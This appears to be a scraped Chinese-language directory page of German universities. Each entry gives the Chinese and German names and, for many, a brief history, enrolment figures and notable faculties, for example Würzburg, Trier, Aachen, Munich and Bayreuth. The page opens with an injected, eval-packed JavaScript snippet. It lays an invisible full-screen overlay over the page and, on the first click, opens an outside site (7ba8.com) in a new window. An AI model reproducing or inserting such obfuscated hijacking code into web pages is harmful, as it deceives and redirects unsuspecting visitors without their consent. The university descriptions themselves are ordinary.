<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>维尔茨堡大学
描述: Universitaet Wuerzburg 维尔茨堡大学的有着悠久的历史，成立于1402年，是属于德国最古老的高校之一。如同其他传统大学，维尔茨堡大学的文科和医学学科具有悠久历史。至今该校的语言教育还享有胜名。 今天的高校有2万2千余名学生，其中包括大约1千5百名外国学生，将近400名教授。 对学校的发展有着决定性作用的是60年代末开始把一系列科系迁出了狭窄的市区，建立新型的研究所和科研中心。比如1969年数学系迁移至Hubland，发展的高潮出现在1993年-1995年之间，先后建立了一个适应尖端科技需要的生物研究中心。建立了一个高度现代化的微型结构实验室。 现在学校为学生提供了经济，医学，历史，自然科学等12个科系方向的专业。
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魏玛音乐学院
描述: Hochschule für Musik Franz Liszt Weimar
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魏玛建筑学院
描述: Bauhaus-Universität Weimar作为文化中心，魏玛创立的了高标准，她的大学也忠实于这个传统：学院小而精，近乎精英作派，但却不乏现代技术。 报告厅和教室里有电子教板和多媒体设备。这里没有象那些大众化大学中常见的人满为患的讲座，师生之间的个人接触是自然不过的事。因为城市很小，校园就是城市，城市就是校园。 在魏玛，得益于大学规模之小，学生可以也被鼓励把视野开拓到自己的专业以外。这里的口号就是“学际交叉”，这也是歌德和包豪斯的精神所在。
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魏因加滕教育学院
描述: Pädagogische Hochschule Weingarten
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特里尔大学
描述: Universitaet Trier特里尔是德国最老的城市,特里尔大学也是一所具有古老传统的大学。它成立于1473年，在1798-1970年间曾经一度关闭,于1970年重新开放。目前学校包括教授135名,学生1万2千人,外国学生1千3百人。 特里尔地处四国交界(德国,比利时,法国,卢森堡),利用这得天独厚的条件,特里尔大学开拓了许多面向欧洲的研究领域。如1983年建立的欧洲工作权力和工作关系学院。在1985年建立了环境和科技法学院，它是德国第一所在如此广阔的范围内研究国内国际环境科技法的学院。1992年在特里尔大学成立了欧洲学研究中心。 对于来自中国大陆的学生来说,特里尔还有着一层特别的意义。影响了几代中国人的命运的马克思主义的奠基人就出生在这座小城里。在马克思故居旁的街角,还有一所马克思研究所。
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特劳兹根音乐学院
描述: Staatliche Hochschule für Musik Trossingen
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亚琛工业大学
描述: Technische Hochschule Aachen 亚琛工业大学位于北莱茵-威斯特法伦州,成立于1870年,是德国最负盛名的理工科大学之一。目前学校有学生3万5千余人,包括4368名外国留学生,教授322名。另外还有260个研究所展示了这个大学雄厚的科研实力。 亚琛工业大学的理工科实力强劲,电子,机械制造方面排名一直名列德国第一。计算机,建筑,物理等学科也在德国大学排行榜上位列三甲。 一流的教育水平造就了一流的学校,现在许多外国著名公司如爱立信,福特,飞利浦,联合科技等都在亚琛建立了分部,三菱也在亚琛附近建立了它的欧洲半导体中心以吸收人才。 为了适应当前国际需要,亚琛工业大学在坚持以往一贯传统的同时，新开了一批硕士学位专业(Masterstudiengang),使大学在国际竞争中保持优势。
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伊尔梅瑙工业大学
描述: Technische Universitaet Ilmenau
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耶拿大学
描述: Universitaet Jena 耶拿大学位于德国的中心-图林根州,成立于1558年,是一所有着悠久历史传统的大学,现有学生1万3千人,其中外国学生约占560人,教授362名。 耶拿大学在1990年两德统一以后走上了向国际开放性大学发展的道路。新兴学科的建立,学术上争取国际认同,使一所古校重新焕发了青春。 耶拿大学在一些传统的强项比如数学,医学和自然科学等方面仍然保持了很高的水平。与马克-普朗克集团联合开设的7个研究组,对物理,化学,医学,光学等方面进行的研究,就是一个很好的例子。
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帕骚大学
描述: Universitaet Passau帕骚大学位于德国东部边界,1978年正式招生,是当时德国最年轻的大学。目前拥有近9千名学生,百名教授。 帕骚大学专业各有特色。例如,法学和经济学系的学生可学一门与本专业相结合的外语:英法意西葡俄语,阿拉伯语和汉语；数学和信息工程系除设有一般辅修专业外,还长年与帕骚肿瘤中心合作,设立了医学信息工程学这一特殊的辅修专业；1990年设立的跨系跨专业的语言,经济和文化区域专业专门培养有关国家地区的专家。该校设有一个区域研究论坛,从事欧洲以外的社会和经济发展的研究，并与国外46个大学有学术交流。 帕骚大学位于老城市中心。帕骚城规模不大,环绕在巴伐利亚的森林之中,邻近捷克,多瑙河在城边流过,是理解的学习生活之地。
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帕德博恩综合大学
描述: Universitaet - Gesamthochschule Paderborn帕德博恩综合大学帕德博恩大学成立于1972年，帕德博恩市在1980年被接纳为德国研究协会成员后改名为帕德博恩综合大学。目前注册的17000名在校生分别在帕德博恩和其它三个分校学习：惠克斯塔分校设专业（土壤改良、环保技术）、梅社爱特分校设专业（机械技术Ⅱ、通信技术），苏思特分校提供专业（农学、机械技术Ⅲ、电气工程）。 帕德博恩大学及其三个分校溶汇了人文、社会、经济、自然及工程等各门学科。 目前设立的十七个专业为学生们提供了极大的选择余地。现有在校生的百分之六是外国学生。他们大都集中在工科专业如：电子工程、机械制造、信息工程，但也很有一部分攻读经济信息工程、经济学和日尔曼文学，此外各系都有自己的教学楼，您一进入校园就可一目了然。帕德博恩大学的特点：帕德博恩是信息工程和工程技术的中心。大学的信息工程及电气工程学者们长期以来与西多福股份公司合作创建的科研实验室CADLAB在新的科研中心不断发挥着它的作用。海因奇-尼克思多福研究所（信息和技术综合研究中心）位于大学E楼和Fustenallee 7 "Y模式"学制 3.1本科学制本科学制是对科学学科而言，对于某一专业根据学制长短及学习方向的不同又分为HⅠ和HⅡ。较短的学制（HⅠ）至少要七个学期而且偏重于实际应用，入学条件是可进入大专或本科学习的中学文凭。毕业后将获得HⅠ硕士学位。如继续进修还可获得攻读博士的资格。HⅡ学制校长，至少要九个学期并偏重理论。入学条件是有资格入本科或是本科某专业学习的中学文凭。对于持有专科入学资格的人需在过渡班中成绩优秀，才可进入HⅡ学习。毕业者可获得HⅡ硕士学位，并有可能获得攻读博士的资格，对那些只具有专科学习资格而又想上HⅡ的人，必须参加过渡班学习，过渡班课程安排如下： -数学：开学前五周 -德语及英语：安排在学期里并设有结业考试 -经济学科教学：也是安排在学期里这之后的基础课学习需要三到四个学期，通过各门考试之后结束基础课学习并获得Vordiplom（准硕士）Ⅰ或Ⅱ证书。在第三和第四学期除了学习公共课以外还要选修取得HⅠ和HⅡ专业学习资格的课程。这时是您选择学制的最后期限，固而建议您尽早求教于学习顾问。您应在本国时就咨询有关HⅠ硕士承认事宜"Y"模式，本科学制图解，见后页插图 2. 各专业学习一览 3.2大专学制（Fachhochschulstudiengange）大专学制以其特有的结合实际并以科学为基础的授课方式，重点培养人的独立工作能力。学业至少持续七个学期并以毕业考试结束学习。入学前提具有三个月实习的经历（农学：一年）。大专课程的授课不设在帕德博恩总校，而是设惠克斯塔、梅社爱特、苏思特三个分校。出国前您一定要咨询好有关大专学历的承认事宜。对于本科学制及大专学制只有在冬季学期才招收新生，因此对于想夏季入学的申请者应具备一定专业基础并期望从高年纪开始学起，或者是您希望在开始专业学习之前提高一下德语想参加德语班学习。 文科硕士学制（Magisterstudiengange）
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纽伦堡音乐学院
描述: Hochschule für Musik Nürnberg/Augsburg
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纽伦堡艺术学院
描述: Akademie der Bildenden Künste Nürnberg
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齐根综合大学
描述: Universitaet - Gesamthochschule Siegen 齐根综合大学成立于1972年。
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慕尼黑联邦军事大学
描述: Universitaet der Bundeswehr Muenchen
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慕尼黑音乐戏剧学院
描述: Hochschule für Musik und Theater München
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慕尼黑艺术学院
描述: Akademie der Bildenden Künste München
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慕尼黑影视学院
描述: Hochschule für Fernsehen und Film
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慕尼黑大学
描述: Universitaet Muenchen 拥有4万3千名学生的慕尼黑大学是德国规模最大的大学。 1472年巴伐利亚路德维希公爵在英戈尔施塔特(Ingolstadt)建立了巴伐利亚的第一所大学。该校历经德国人文主义时代,在宗教改革中是马丁路得的主要反对者,受耶稣会影响长达200年之久,是德国最主要的天主教大学之一。1826年在几经迁移之后，大学定址慕尼黑。大学得名于Maximilian国王。 慕尼黑大学现有20个系,102个专业,教授800人，约一半学生学习人文学科。大学的起源地在慕尼黑市中心。但随着学校的发展，教学机构目前分布于慕尼黑市内约100余处。 慕尼黑作为德国媒体,科研中心和文化重地为慕尼黑大学提供了极佳的教学和研究环境。 近来慕尼黑周围蓬勃发展的新经济,也使得慕尼黑成为柏林之后,德国年轻人最向往的城市。Ludwig-Maximilians-Universitaet Muenchen
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慕尼黑工业大学
描述: Technische Hochschule Muenchen
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奥斯纳布吕克大学
描述: Universitaet Osnabrueck
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奥斯登堡大学
描述: Universitaet Oldenburg
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班贝克大学
描述: Universitaet Bamberg
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奥芬巴赫设计学院
描述: Hochschule für Gestaltung Offenbach
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奥格斯堡大学
描述: 奥格斯堡大学1970年建立之初仅有经济系和社会学系,随后开设了法律系和天主教神学系。1972年奥格斯堡大学又与奥格斯堡师范大学合并,因此产生现在的哲学系。 目前该校有1万2千名学生,其中外国学生1千名,教授180人。 奥格斯堡大学的特点在于它的创新精神和重视实践的教学手段。值得一提是经济类专业的学生在完成基础课程并通过中期考试后,即可获得相应的文凭(Baccalaureus oeconomiae)。这在德国大学引进英美学制的Bachelor Degree之前是绝无仅有的,也可见该校教育理念在德国的领先地位。 该校的数学及自然科学系的重点放在应用科学的研究与教学方面。约有三分之一的学生就读于经济与社会学系。经济专业的基础课都设有社会学及心理学课程。 该校法律系学生完成学业的平均时间较短。外国的法律系毕业生可以在该系攻读法学硕士学位(Master of Laws)。
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拜罗伊特大学
描述: Universitaet Bayreuth
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拜罗依特大学
描述: 18世纪的第一个科学前哨—弗里德里希学院在上法兰克的拜罗伊特没有被守住，又过了200多年，一个勇敢的巴伐利亚城市规划家把探寻的目光投向上法兰克，准备在那里建立学术处女地。 城市监狱的假释犯和美国大兵在一大片绿色草原上建立起第一座拜罗伊特大学大楼。1975/76冬季学期，第一批的625名学生在32位教授的带领下来到了法兰克人当中。就象在荒凉的美洲西部，随着首批“居民”的到来，这里充满了先锋精神和创业热情。 今天，这里的学生数虽然有了很大变化，但7000名大学生这个数量使得拜罗伊特大学相对来说还是个小型的高等学府。教学与研究的两个原则是：不同的专业在一起合作；所有的专业都追求共同的目标。实行这种原则的结果是产生了“地质生态学”专业，或者法律系学生去接受经济学领域的额外教育。 此外，拜罗伊特大学还独树一帜，体育系和经济系共同合作，为未来的体育经理人才开设了“体育经济学”专业。这样做的另外一个目的是在传统的学科之外填补学科的“市场空白”。拜罗伊特大学旗帜上最新的一颗星是第六个系—“应用自然科学系”，它不久前刚刚开设的专业“生态环境技术”和“材料科学”是面向未来的新学科。 美国的校园大学模式影响了拜罗伊特大学的设计规划。各建筑物围绕一个大广场组合在一起，好像一个印第安人村落。设计者的思想是让广场成为学生活动的中心。如果不是正好举行“帐篷节”，广场则更象是一个人迹稀少的荒野，学生们因此把它戏称为“直升机降落场”。这可能是因为学生们更喜欢在拜罗伊特市区里逛游，沉湎于当地人提供的娱乐中，而不愿在下课后面对着空旷的广场两眼发呆。也可能是今天的大学生的兴趣跟70年代的人不一样了。对于今天的大学生来说，出色的食堂饭菜和足够的体育设施常常比集体感和社会活动热情更重要。
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埃森综合大学
描述: Universitaet - Gesamthochschule Essen从60年代起,鲁尔区就成为欧洲最稠密的大学聚集区。埃森综合大学就是其中之一,它成立于1972年,目前有在14个专业注册的2万5千名学生。 科学和就业实践的相结合是综合大学教学的重要准则。学生可以选择长时间或短时间的学习。长时间学习(Diplom II)意味着普通大学的课程标准，毕业后可继续攻读博士。短时间学习(Diplom I)则注重实用知识的教育。 尽管这所大学的历史不长,但在研究领域已个人流下了深刻的印象,如和波鸿大学,杜塞尔多夫大学的数学家,物理学家联手在天体波动研究,超导体方面有了相当的成就。
增加于: May13日,2002 次点击: 49
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埃尔兰根-纽伦堡大学
描述: Universitaet Erlangen-Nuenberg埃尔兰根-纽伦堡大学位于德国南部的拜仁州,成立于1743年,目前有学生将近2万2千人，其中包括外国学生1千8百多人，教授500多名。该校有11个学院,分布在埃尔兰根(9个)和纽伦堡(2个)。 埃尔兰根-纽伦堡大学是拜仁州的第二大大学,它在德国以专业种类范围最广泛而著称。学科的多样化给学生跨专业学习创造了有利的条件。计算机专业的学生可以选修企业管理学，或者生物系学生可以在一定的医学领域学习。 和许多传统的德国大学一样,埃尔兰根-纽伦堡大学的医学也很发达,大学周围有许多大学附属的医院。
增加于: May13日,2002 次点击: 66
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埃尔富特-米尔豪森教育学院
描述: PH Erfurt-Muehlhausen
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